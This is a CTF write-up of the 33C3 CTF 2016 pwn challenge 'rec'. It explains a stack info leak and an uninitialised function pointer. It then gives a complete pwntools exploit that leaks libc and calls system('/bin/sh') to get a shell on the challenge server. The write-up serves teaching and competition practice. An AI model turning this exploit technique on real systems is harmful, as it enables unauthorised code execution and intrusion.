Home 33C3 CTF 2016 -- rec
Post
Cancel

33C3 CTF 2016 -- rec

Category: pwn
Points: 200

32 bit ELF, with all the protection enabled.

program menu:

1
2
3
4
5
6
7
8
9
10
$ ./rec 
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 
  • Take note: input a note
  • Read note: output the note
  • Polish: do the sum operation or the elementary arithmetic (prefix expression)
  • Infix: do the elementary arithmetic (infix expression)
  • Reverse Polish: do the elementary arithmetic (postfix expression)
  • Sign: input a number and see if it is a positive/negative number

First we found that the Read note function doesn’t work well:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ./rec 
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 0
Your note: 123
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 1
Your note:�VXV`�s��`XV     <-- WTF?

This is because the program use a stack address as the note’s buffer. After we take a note and leave the function, the buffer will be filled with some (useful) addresses (due to the function epilogue). And because of this, we’re able to leak the stack address & text’s base address.

Now it’s time to try controlling the EIP. There’s a program logic vulnerability in the sign function:

1
2
3
4
5
6
7
8
9
10
  if ( num <= 0 )
  {
    if ( num < 0 )
      v1 = (void (*)(void))puts_negative;
  }
  else
  {
    v1 = (void (*)(void))puts_positive;
  }
  v1();

It handles both positive & negative numbers. But what about 0 ?

1
2
3
4
5
6
7
8
9
10
11
12
$ ./rec 
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 5
0
[1]    40091 segmentation fault (core dumped)  ./rec

The reason why the program crash is because the program did not assigned a value to v1 (since it did not handle 0), so when it ran to line v1(), it will set the EIP to 0x0 and crash the program. Let’s check the assembly code:

1
2
0x56555d3b:  mov    eax,DWORD PTR [ebp-0x20]   <-- &v1 = ebp-0x20
0x56555d3e:  call   eax

It shows that if we can control the value of [ebp-0x20], we’ll be able to control the EIP and hijack the program control flow.

I found that the stack frame of the sign function is “higher” (or “lesser”) than the other functions. If we can’t “reach that high” in other functions, we won’t be able to control the function pointer.

After done some fuzzing, I finally found that in the Polish function, if we do the sum operation and keep entering number, the program will keep pushing number to the stack, making us able to “reach the height” and control the function pointer (and the parameters !) in the sign function.

So here’s how we gonna exploit the service:

  1. Take a note & Read the note, leak the text’s base address
  2. Use Polish’s sum operation to control the function pointer & the function parameter. We first set the function pointer to puts and the parameter to __libc_start_main@got (there’s no .got.plt due to the FULL RELRO protection)
  3. Goto sign function and input 0, it will call puts(__libc_start_main@got) and gave us the libc’s base address
  4. Repeat step 2, this time we set the function pointer to system and the parameter to “pointer to /bin/sh”
  5. Goto sign function and input 0, call system("/bin/sh") and get the shell

Here’s the exploit. The libc’s information are provided by libc-database

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time
import numpy

HOST = "78.46.224.74"
PORT = 4127
ELF_PATH = "./rec"
LIBC_PATH = ""

# setting 
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'

elf = ELF(ELF_PATH)

def take_note(note):
    r.sendlineafter("> ", "0")
    r.sendlineafter("note: ", note)

def read_note():
    r.sendlineafter("> ", "1")

def polish_sum(nums):
    r.sendlineafter("> ", "2")
    r.sendlineafter("Operator:", "S")
    for num in nums:
        print "adding:", num
        r.sendlineafter("Operand:", str(num))

    r.sendlineafter("Operand:", ".")

def sign(num):
    r.sendlineafter("> ", "5")
    r.sendline(str(num))


if __name__ == "__main__":

    r = remote(HOST, PORT)
    #r = process(ELF_PATH)
    
    take_note("123")
    read_note()

    r.recvuntil("note: ")
    fptr_addr = u32(r.recv(4)) - 0x350 # where the function pointer be loaded
    text_base = u32(r.recv(4)) - 0x6fb
    puts = text_base + 0x520
    lsm_got = text_base + 0x2fe0
    puts_got = text_base + 0x2fd8
    
    log.success("fptr_addr: "+hex(fptr_addr))
    log.success("text_base: "+hex(text_base))

    nums = [i for i in xrange(0x63)] + [puts, lsm_got]
    polish_sum(nums)

    sign(0) # this will call puts(lsm_got)
    lsm_addr = u32(r.recv(4))
    #########################################
    #$ ./dump libc6-i386_2.24-3ubuntu2_amd64
    #offset___libc_start_main = 0x00018180
    #offset_system = 0x0003a8b0
    #offset_str_bin_sh = 0x15cbcf
    #########################################
    system_addr = lsm_addr + 0x22730 
    bin_sh = lsm_addr + 0x144a4f 
	
    log.success("lsm: "+hex(lsm_addr))
    log.success("system: "+hex(system_addr))
    log.success("bin_sh: "+hex(bin_sh))

    nums = [i for i in xrange(0x63)] + [numpy.int32(system_addr), numpy.int32(bin_sh)]
    polish_sum(nums)
    sign(0) # this time will call system("/bin/sh")
    
    r.interactive()

The flag is in /challenge/flag.txt

flag: 33C3_L0rd_Nikon_would_l3t_u_1n

This post is licensed under CC BY-SA 4.0 by the author.

33C3 CTF 2016 -- babyfengshui

DEFCON CTF 2017 Quals -- peROPdo

Comments powered by Disqus.